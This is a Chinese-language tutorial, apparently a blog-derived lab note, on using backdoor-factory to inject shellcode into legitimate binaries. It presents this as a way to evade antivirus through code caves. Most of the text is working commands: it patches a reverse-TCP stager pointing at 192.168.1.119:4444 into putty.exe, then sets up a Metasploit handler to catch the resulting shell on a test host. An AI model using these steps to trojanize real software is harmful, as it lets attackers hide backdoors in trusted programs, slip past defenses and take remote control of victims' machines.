介绍

backdoor-factory(BDF)

  • patch:本是通过替换 exe、dll、注册表等方法修复系统漏洞或问题的方法,但在BDF中是向二进制文件中增加或者删除代码内容,注意某些受保护的二进制程序无法 patch,且存在一定概率文件会被 patch 坏掉
  • 将 shellcode 代码 patch 进模板文件,躲避 AV 检查
  • 使用于 windows PE x32/64 和 linux ELF x32/64 (OSX)
  • 支持 msf payload、自定义 payload
  • python 语言编写

    MSF使用patch方法

    1. msfvenom -p windows/shell/reverse_tcp #覆盖程序入口
    2. msfvenom -p windows/shell/reverse_tcp k #创建新的线程执行 shellcode 并跳回原程序入口

    图示

    屏幕截图 2022-05-17 140351.png

    CTP方法

    增加新的代码段 session,与 msf 的-k 方法类似
    使用现有的代码裂缝/洞(code cave)存放 shellcode

    代码洞

  • 二进制中超过两个字节的连续 x00 区域(代码片段间区域)

  • 根据统计判断代码洞是编译器在进行编译是造成的,不同的编译器造成的代码洞的大小不同

    单个代码洞代销不足以存放完整的 shellcode

    就多代码洞跳转(非顺序执行)初期免杀率可达100%
    结合 msf 的 stager 方法

    patch 选项

    附加代码段,单代码洞注入,多代码注入

    使用方法

    1. backdoor-factory -f putty.exe S #-S:检查二进制文件是否支持代码注入
    2. backdoor-factory -f putty.exe -c -l 200 #查看其是否支持我们指定的 shellcode patch, -c:code cave(代码裂缝),-l:代码裂缝大小
    3. backdoor-factory -f putty.exe -s show #-s SHELL, --shell=SHELL: 可以使用的有效负载。使用“show”来查看有效载荷
    4. backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.119 -P 4444 -o putty2.exe #注入putty
    5. #默认单一代码洞,-J是多代码洞,-a在代码段后面新加个section注入代码
    6. #使用msf侦听
    7. msf > use exploit/multi/handler
    8. msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    9. msf exploit(multi/handler) > set LHOST 192.168.1.119
    10. msf exploit(multi/handler) > set LPORT 4444
    11. msf exploit(multi/handler) > run
    12. #把putty放到win2003中,运行
    13. #发现shell反弹
    14. msf exploit(multi/handler) > sessions -i 1 #进入shell
    15. 原文链接:https://blog.csdn.net/weixin_44604541/article/details/105640931